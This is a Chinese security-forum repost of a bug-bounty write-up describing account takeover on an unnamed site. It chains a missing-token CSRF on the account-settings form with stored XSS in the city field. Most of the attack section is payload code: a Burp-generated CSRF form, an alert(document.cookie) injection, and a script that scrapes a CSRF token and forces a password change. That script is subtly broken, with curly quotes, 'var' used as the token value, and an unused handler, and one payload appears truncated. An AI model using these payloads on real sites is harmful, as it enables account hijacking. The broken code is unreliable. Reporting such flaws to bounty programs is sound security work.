安全矩阵

 找回密码
 立即注册
搜索
查看: 351|回复: 0

实战 | 记一次CSRF+存储型XSS导致的账户接管漏洞挖掘

[复制链接]

102

主题

102

帖子

330

积分

中级会员

Rank: 3Rank: 3

积分
330
发表于 2023-5-16 21:01:07 | 显示全部楼层 |阅读模式
bag0zathev2 HACK学习呀 2023-05-16 09:58 发表于日本
CSRF + 存储型 XSS 导致完全帐户接管
这篇文章是关于我在 hackerone 的 priv8 程序中发现的,我能够找到:

  1. 1. CSRF
  2. 2. XSS
  3. 3. XSS + CSRF = Account Takeover
复制代码
我们首先将受影响的站点称为:目标网站

起初我开始打开网站并注册一个新用户并在这里和那里测试一些功能,然后是对我来说最重要和最有趣的部分之一,是“帐户信息/设置”部分的时候

首先我开始检查一些细节的变化并检查请求,然后我注意到没有标题控制任何东西或 CSRF 令牌或任何安全级别!

我很快生成了一个 CSRF PoC 并对其进行了测试:

  1. <html>
  2.   <!-- CSRF PoC - generated by Burp Suite Professional -->
  3.   <body>
  4.   <script>history.pushState('', '', '/')</script>
  5.     <form action="https://www.target.com/?controller=account-service&action=update" method="POST">
  6.       <input type="hidden" name="first_name" value="sir" />
  7.       <input type="hidden" name="last_name" value="bugs" />
  8.       <input type="hidden" name="organization" value="" />
  9.       <input type="hidden" name="phone" value="" />
  10.       <input type="hidden" name="address_line_1" value="" />
  11.       <input type="hidden" name="address_line_2" value="" />
  12.       <input type="hidden" name="city" value="mango" />
  13.       <input type="hidden" name="zip" value="" />
  14.       <input type="hidden" name="country" value="US" />
  15.       <input type="hidden" name="state_province" value="Other" />
  16.       <input type="submit" value="Submit request" />
  17.     </form>
  18.   </body>
  19. </html>
复制代码
然后得到了一个CSRF漏洞
现在我开始尝试更改密码!我真的很高兴,因为我没有看到对当前密码的任何要求!!

它只是需要密码+确认密码

我也尝试使用我的 CSRF 来更改密码!

更改密码请求中使用了一个 csrf 令牌。

开始测试其他输入并尝试获得 XSS
然后在这里,我注意到一些奇怪的东西,当我尝试但是输入中的“'()<>和其他字符时!但那是什么?在我将城市设置为:**mango”'>**


我注意到以下内容!

我尝试将城市设置为:mango”><script>alert(document.cookie)</script> 太好了,没有任何编码保护请求。

最后得到了一个 CSRF的XSS
我创建了一个 js 代码并将其上传到我的网站,然后使用 mango”> 作为payload

该js文件包含什么?

  1. <script>var req = new XMLHttpRequest();
  2. req.onload = handleResponse;
  3. req.open(‘get’,’/account-details’,true);
  4. req.send();
  5. function handleResponse() {
  6. var token = this.responseText.match(/name=”csrf-passwd” value=”(\w+)”/)[1];
  7. };
  8. var http = new XMLHttpRequest();
  9. http.open("POST", "/change-password", true);
  10. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  11. http.onreadystatechange = function() {
  12.   if (this.readyState == 4 && this.status == 200) {
  13.     document.getElementById("content").innerHTML = this.responseText;
  14.   }
  15. };
  16. http.send("password=123123&confirm_password=123123&csrf_token="+var);
  17. </script>
复制代码
我现在可以使用CSRF+XSS漏洞完全控制帐户。



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 18:51 , Processed in 0.012156 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表